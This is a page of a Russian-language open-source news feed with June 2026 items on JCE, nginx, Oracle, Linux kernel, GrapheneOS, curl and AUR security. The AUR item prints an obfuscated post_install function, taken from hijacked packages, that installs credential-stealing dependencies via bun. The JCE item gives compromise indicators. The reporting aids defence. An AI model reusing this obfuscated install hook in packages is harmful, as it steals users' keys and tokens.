| · | 18.06.2026 | Исправление критической уязвимости в JCE, дополнении для CMS Joomla (10 +3) |
|
В JCE (Joomla Content Editor), одном из старейших и популярнейших расширений в экосистеме Joomla, устранена критическая уязвимость (CVE-2026-48907), позволяющая импортировать свой профиль без аутентификации. Атакующий может использовать уязвимость для размещения профиля, отключающего проверку MIME-типов и реализующего загрузку PHP-скриптов на сервер. Зафиксировано использование уязвимости злоумышленниками для установки webshell, предоставляющего удалённый доступ к системе.
Уязвимость устранена в выпуске JCE 2.9.99.5, следом за которым опубликовано обновление 2.9.99.6 с усилением защиты. Уязвимость затрагивает все версии JCE (от Joomla 3 до Joomla 6). После установки обновления следует удостовериться, что система не была скомпрометирована и в ней не остаётся установленный атакующими бэкдор. Проверить наличие подставного профиля, который как правило имеет бессмысленное автоматически сгенерированное имя, можно в интерфейсе адиминистратора в секции "Компоненты" - "Редактор JCE" - "Профили редактора". Также следует удостовериться в отсутствии разрешения загрузки PHP-файлов в параметре "Разрешённые расширения файлов" и проверить логи на предмет запросов к url импорта профилей (index.php?option=com_jce&task=profiles.import). О компрометации также может свидетельствовать появление на сайте сторонних .htaccess и файлов с именами, типичными для CMS WordPress, а не Joomla, таких как wp-config.php и wp-cron.php.
| ||
| · | 18.06.2026 | Изменение правил формирования релизов официальных редакций Ubuntu (47 –2) |
|
Компания Canonical ужесточила правила формирования релизов официальных редакций Ubuntu, к которым относятся Lubuntu, Kubuntu, Ubuntu Budgie, Ubuntu Studio, Xubuntu, Ubuntu Kylin, Ubuntu Mate, Ubuntu Unity, Edubuntu и Ubuntu Cinnamon. Изменения введены для подтверждения готовности редакций к финальному релизу, который теперь будет допускаться только в случае успешного формирования бета-версии в срок, соответствующий намеченному плану. При этом изменения в пакетах между бета-версией и релизом должны быть минимальными и могут включать только исправление ошибок.
| ||
|
Обсуждение (47 –2) |
Тип: К сведению |
| ||
| · | 17.06.2026 | Обновление nginx 1.31.2 с устранением уязвимостей, эксплуатируемых через HTTP/3, HTTP2 и gRPC (34 +7) |
Сформирован выпуск основной ветки nginx 1.31.2, в рамках которой продолжается развитие новых возможностей, а также выпуск параллельно поддерживаемой стабильной ветки nginx 1.30.3, в которую вносятся только изменения, связанные с устранением серьёзных ошибок и уязвимостей. В обновлениях устранено 3 уязвимости:
Помимо исправления уязвимостей в версии nginx 1.31.2 добавлена переменная $ssl_sigalgs, содержащая алгоритмы цифровых подписей, заявленные клиентом в сообщении ClientHello во время согласования TLS-соединения. Для формирования идентификатора, передаваемого через переменную $request_id, задействован алгоритм хэшрования SipHash-2-4.
| ||
|
Обсуждение (34 +7) |
Тип: Проблемы безопасности |
| ||
| · | 17.06.2026 | В ядре Linux 7.2 прекращена поддержка стека протоколов AppleTalk (78 +35) |
|
Линус Торвальдс принял в состав ядра Linux 7.2, релиз которого ожидается в середине августа, набор патчей с изменениями для сетевой подсистемы, в котором продолжена чистка ядра от устаревших драйверов и подсистем. Наиболее значимым стало удаление из ядра реализации стека протоколов AppleTalk. AppleTalk использовался в компьютерах Apple с 1985 года и в 1990-е годы был заменён на TCP/IP. Поддержка AppleTalk была прекращена Apple в выпуске Mac OS X 10.6 "Snow Leopard", сформированном в 2009 году.
В качестве причины удаления называется наличие неисправленных ошибок в реализации AppleTalk. Разработчикам поступила серия исправлений, подготовленных при помощи AI-ассистентов, но их некому проверять, так как подсистема осталась без сопровождающих. Для тех кому может потребоваться код удалённых из ядра модулей, реализации AppleTalk, ATM, AX.25, ISDN и hamradio вынесены в отдельный репозиторий на GitHub. Помимо AppleTalk из кодовой базы ядра 7.2 также удалены компоненты технологии передач данных ATM, не связанные с PPPoATM, а также код для интеграции TLS с sockmap и поддержки диапазонов частот 5/10 MHz в беспроводном стеке cfg80211/mac80211. Из-за наличия нерешаемых проблем с блокировками и отсутствия сопровождающих удалена специфичная реализация ускорения обработки TLS на базе TCP Offload Engine (более распространённая реализация TLS offload сохранена). Отключён и запланирован для удаления код совместимости с 32-разрядными x_tables на 64-разрядных системах.
| ||
|
Обсуждение (78 +35) |
Тип: К сведению |
| ||
| · | 17.06.2026 | Уязвимости в MySQL, VirtualBox, Solaris и других продуктах Oracle (15 +8) |
|
Компания Oracle опубликовала плановый выпуск обновлений своих продуктов (Critical Patch Update), нацеленный на устранение критических проблем и уязвимостей. В июньском обновлении устранено 245 уязвимостей.
Некоторые проблемы:
| ||
|
Обсуждение (15 +8) |
Тип: Проблемы безопасности |
| ||
| · | 17.06.2026 | GrapheneOS портирован на Android 17 (33 +22) |
|
Разработчики проекта GrapheneOS, развивающего защищённую свободную прошивку на базе Android, объявили о готовности порта на базе выпущенной вчера платформы Android 17. В настоящее время осуществляется перенос порта в публичный репозиторий с исходным кодом (разработчики GrapheneOS получили доступ к коду и патчам Android до передачи в открытый доступ, благодаря партнёрству с одним из OEM-поставщиков).
Сегодня планируют выпустить финальный релиз GrapheneOS на базе Android 16 QPR2, после чего завтра предложить начальную версию на базе Android 17. В версии GrapheneOS на базе Android 17 обеспечена поддержка всех устройств, для которых формировались сборки на базе ветки Android 16, но протестированы сборки пока только на смартфонах Pixel 6a, 7, 7a, 8, 10a, 10 и 10 Pro Fold. GrapheneOS развивает ответвление от кодовой базы AOSP (Android Open Source Project), включающее многие экспериментальные технологии, связанные с усилением изоляции приложений, управлением доступом, блокированием проявления уязвимостей и усложнением работы эксплоитов. Среди прочего, в платформе задействована собственная реализация malloc, модифицированный вариант libc с защитой от повреждения памяти и более жёсткое разделение адресного пространства процессов. В ядре Linux включены дополнительные механизмы защиты, такие как канареечные метки в slub для блокирования переполнения буферов. Для усиления изоляции приложений задействованы SELinux и seccomp-bpf. Пользователь может выборочно ограничивать доступ приложений к сетевым операциям, датчикам, адресной книге и периферийным устройствам (USB, камере).
| ||
|
Обсуждение (33 +22) |
Тип: К сведению |
| ||
| · | 16.06.2026 | Выпуск VirtualBox 7.2.10 (37 +11) |
Компания Oracle опубликовала корректирующий релиз системы виртуализации VirtualBox 7.2.10, в котором представлено 14 изменений:
Дополнение: Помимо перечисленных изменений в новой версии устранено 10 уязвимостей (максимальный уровень опасности 7.5 из 10), подробности о которых пока не раскрываются, упоминается лишь, что они вызваны проблемами в реализации VVM, общих каталогов и устройства VMSVGA.
| ||
|
Обсуждение (37 +11) |
Тип: Программы |
| ||
| · | 16.06.2026 | Релиз графической библиотеки LDL 0.3, оптимизированной для маломощных систем (69 –10) |
|
Опубликован выпуск мультимедийной библиотеки LDL 0.3 (Little DirectMedia Layer), позволяющей создавать графические приложения, способные работать как на современных, так и на устаревших системах (Windows 95+, macOS/OS X/Mac OS X 10.6+, дистрибутивы с ядром Linux 2.0+, FreeBSD 3.0+). Предоставляется простой кроссплатформенный API для управления окнами и обработки событий с устройств ввода. Для отрисовки может использоваться OpenGL 1.0-4.6. Код написан на языке Си и поставляется под лицензией LGPL 3.0.
В новом выпуске:
В следующих выпусках планируется завершить работу над документацией, расширить возможности 3D-рендера и предоставить обвязки для языков Python, C# и Object Pascal.
| ||
| · | 16.06.2026 | Конкурс разработчиков СПО Код Логики (31 +2) |
|
Компания "Базальт СПО" и АНО "Институт логики, когнитологии и развития личности" проводят конкурс СПО проектов "Код логики", для участия в котором приглашаются разработчики, внёсшие значимый вклад в существующие СПО проекты, опубликованные в публичном репозитории под свободной лицензией (по ГОСТ Р 54593-2011, включая лицензии, одобренные FSF и OSI). К конкурсу допускаются физические лица, являющиеся дееспособными совершеннолетними налоговыми резидентами РФ. Предусмотрено 3 призовых места с максимальным количеством победителей - до 6 человек (одно первое место, не более двух вторых и трёх третьих). Победитель получит миллион рублей, занявшие 2 место - 500 тысяч рублей, а 3 место - 300 тысяч рублей.
Заявки принимаются до 15 августа 2026 года. Награждение лауреатов состоится 2-4 октября на XXII конференции разработчиков свободных программ. В своё время при поддержке Института Логики зародился IPlabs Linux Team, ставший в дальнейшем основой для ALT Linux.
| ||
| · | 15.06.2026 | Проект Curl на месяц прекратит приём отчётов об уязвимостях (63 +21) |
|
Дэниел Cтенберг (Daniel Stenberg), автор утилиты для получения и отправки данных по сети curl, объявил о приостановке приёма и обработки сообщений об уязвимостях с 1 июля по 3 августа. Исключение будет сделано только для отправителей, пользующихся платной поддержкой. В качестве причины называется необходимость передышки и отдыха после существенного повышения нагрузки по разбору отчётов о выявлении уязвимостей в последние четыре месяца.
Сообщения, отправленные через форму на Hackerone и email [email protected] в указанное время сопровождающими рассматриваться не будут. Возможность отправки pull-запросов и сообщений о проблемах через GitHub останется доступна, но разбор накопившихся сообщений об уязвимостях начнётся только после 3 августа.
| ||
|
Обсуждение (63 +21) |
Тип: К сведению |
| ||
| · | 15.06.2026 | Доступен полностью свободный вариант ядра Linux-libre 7.1 (21 +6) |
|
Латиноамериканский Фонд свободного ПО опубликовал полностью свободный вариант ядра Linux 7.1 - Linux-libre 7.1-gnu, очищенный от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В Linux-libre также отключены функции ядра для загрузки внешних несвободных компонентов, не входящих в поставку ядра, а из документации удалены упоминания об использовании несвободных компонентов.
Для очистки ядра от несвободных частей проектом Linux-libre создан универсальный shell-скрипт, который содержит тысячи шаблонов для определения наличия бинарных вставок и исключения ложных срабатываний. Также доступны для загрузки готовые патчи, созданные на основе использования вышеупомянутого скрипта. Ядро Linux-libre рекомендовано для использования в дистрибутивах, соответствующих критериям Фонда СПО по построению полностью свободных дистрибутивов GNU/Linux. Например, Linux-libre используется в таких дистрибутивах, как GNU Guix System, Dragora Linux, Trisquel, Dyne:Bolic, gNewSense, Parabola, Musix и Kongoni. В выпуске Linux-libre 7.1-gnu обновлён код чистки блобов в драйверах Nova-core, btmtk, qat_6xxx, amdgpu, m88ds3103, saa7164, r8169, ath12k, mt792x и mt7996. Решены проблемы со сборкой при использовании Rust. Обеспечена чистка блобов в новых драйверах для чипов Lontium LT8713SX DP MST и Realtek 802.11be 8922D. Произведена чистка имён блобов в dts-файлах (devicetree) для архитектуры Aarch64. Прекращена чистка драйверов fore200e, acenic, yam, smc91c92_cs и speedfax, которые были удалены из состава ядра.
| ||
|
Обсуждение (21 +6) |
Тип: Программы |
| ||
| · | 15.06.2026 | Arch Linux отключил регистрацию новых учётных записей в AUR (58 +10) |
|
Проект Arch Linux приостановил регистрацию новых учётных записей в репозитории AUR (Arch User Repository) из-за непрекращающейся активности по подстановке вредоносного кода в пакеты и вандализма с оскорблениями на русском языке. После первой массовой атаки разработчики Arch Linux попытались защититься от проблемы через выборочные фильтры, но атакующие обошли их через замену npm на bun и обфускацию вызова своего кода в функции post_install. Возможность регистрации будет возвращена после реализации более действенной защиты.
Для захвата пакетов атакующие использовали предоставляемую в AUR возможность принимать сопровождение над пакетам, оставшихся без сопровождающих и имеющих статус "orphaned". Подобная возможность предоставлялась без ограничений и проверок любому желающему. В настоящее время в AUR размещено 107406 пакетов, из которых 13050 имеют статус "orphaned" (неделю назад было 15261). За последнюю неделю в репозитории было обновлено 5578 пакетов, а за предыдущую - 3446. В репозитории насчитывается 141967 зарегистрированных пользователей и 69 сопровождающих пакеты (в предыдущую неделю было 140949 пользователей и 69 сопровождающих).
| ||
|
Обсуждение (58 +10) |
| ||
| · | 14.06.2026 | В AUR осуществлена подстановка вредоносного кода ещё в 54 пакета (136 +36) ↻ |
Несмотря на меры, предпринятые разработчиками Arch Linux, деятельность по подстановке вредоносного кода в репозитории AUR (Arch User Repository) не остановлена. Несколько часов назад вредносный код подставлен ещё в 54 пакета, оставшихся без сопровождающих (история отмены вредоносных правок). В отличие от позавчерашних атак, вместо пакетного менеджера npm для установки вредоносных зависимостей на этот раз задействована платформа bun. Для обхода реализованных фильтров в функцию post_install вставляется обфусцированная строка, в которой вызывается команда "bun add" для установки пакетов с вредоносным кодом, осуществляющим сканирование и отправку на внешний сервер ключей, токенов и учётных данных.
post_install() {
$'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
}
Тем временем зафиксирована ещё одна атака на AUR, на этот раз вместо подстановки вредоносного ПО в несколько десятков пакетов, оставшихся без сопровождающего, был добавлен вывод нецензурного сообщения на русском языке с оскорблением пользователей и предложением поменять дистрибутив или перестать использовать AUR.
| ||
|
Обсуждение (136 +36) ↻ |
Тип: Проблемы безопасности |
| ||
| · | 13.06.2026 | В KDE улучшена поддержка приложений на базе GTK 2 с тёмной темой оформления (40 +13) |
|
Опубликован очередной еженедельный отчёт о разработке KDE, в котором представлена порция изменений для ветки KDE Plasma 6.8, релиз которой запланирован на 14 октября, а также ветки KDE Plasma 6.7, находящейся на стадии бета-тестирования перед релизом, намеченным на 16 июня.
Изменения в ветке KDE Plasma 6.8:
| ||
|
Обсуждение (40 +13) |
Тип: Обобщение |
| ||
| · | 13.06.2026 | Новые версии Wine 11.11 и StartWine-Launcher 423 (27 +15) |
|
Опубликован экспериментальный выпуск открытой реализации Win32 API - Wine 11.11. С момента выпуска 11.10 было закрыто 25 отчётов об ошибках и внесено 223 изменения.
Наиболее важные изменения:
Дополнительно можно отметить выпуск приложения Startwine-Launcher 423, развиваемого для запуска в Linux-системах программ и игр, собранных для платформы Windows. Основной целью разработки StartWine-Launcher было упрощение процесса создания новичками префиксов Wine, - наборов библиотек и зависимостей Windows, необходимых для работы Windows-приложений в Linux. Код StartWine-Launcher написан на языке Python и распространяется под лицензией GPLv3. Интерфейс реализован на основе библиотеки GTK. В новой версии Startwine-Launcher обновлён список версий Wine, а также обновлены префиксные конфигурации, библиотеки и драйверы в контейнере. В utils добавлены библиотеки Steam для совместимости со старыми играми. Исправлены ошибки в скрипте установки, коде обновления установленных данных приложения и во вспомогательных функциях в sw_runlib. 
| ||
|
Обсуждение (27 +15) |
Тип: Программы |
| ||
| Следующая страница (раньше) >> | ||
